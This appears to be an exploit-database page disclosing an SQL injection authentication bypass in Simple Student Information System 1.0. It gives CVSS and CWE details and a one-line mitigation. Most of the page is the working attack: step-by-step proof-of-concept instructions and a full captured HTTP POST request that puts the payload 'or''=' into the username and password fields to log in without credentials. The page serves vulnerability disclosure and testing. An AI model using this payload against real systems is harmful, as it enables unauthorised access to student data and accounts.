header-logo
Suggest Exploit
vendor:
Simple Student Information System
by:
Galuh Muhammad Iman Akbar (GaluhID)
7.5
CVSS
HIGH
SQL Injection
89
CWE
Product Name: Simple Student Information System
Affected Version From: 1.0
Affected Version To: 1.0
Patch Exists: NO
Related CWE: N/A
CPE: a:sourcecodester:simple_student_information_system
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: Windows 10
2021

Simple Student Information System 1.0 – SQL Injection (Authentication Bypass)

A SQL injection vulnerability exists in Simple Student Information System 1.0, which allows an attacker to bypass authentication by entering 'or''=' as the username and password. This can be done by sending a POST request with the payload 'username='or''='&password='or''='&login=Log+In' to the index.php page.

Mitigation:

Input validation should be used to prevent SQL injection attacks. All user-supplied input should be validated and filtered before being used in a SQL query.
Source

Exploit-DB raw data:

# Exploit Title: Simple Student Information System 1.0 - SQL Injection (Authentication Bypass)
# Date: 13 April 2021
# Exploit Author: Galuh Muhammad Iman Akbar (GaluhID)
# Vendor Homepage: https://www.sourcecodester.com/php/11400/simple-student-information-system-ajax-live-search.html
# Software Link: https://www.sourcecodester.com/download-code?nid=11400&title=Simple+Student+Information+System+using+PHP+with+Source+Code
# Version: 1.0
# Tested on: windows 10

POC

Step 1 - Go to url http://localhost/studentinfosystem/index.php
Step 2 – Enter anything in username and password
Step 3 – Click on Login and capture the request in burpsuite
Step 4 – Change the username to 'or''=' and password 'or''='
Step 5 – after entering the payload, you can enter the website


POST /studentinfosystem/index.php HTTP/1.1
Host: 192.168.1.14
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0)
Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
Origin: http://192.168.1.14
Connection: close
Referer: http://192.168.1.14/studentinfosystem/index.php
Cookie: PHPSESSID=5sll425q7s76lpl9m1copg6mpe
Upgrade-Insecure-Requests: 1

username='or''='&password='or''='&login=Log+In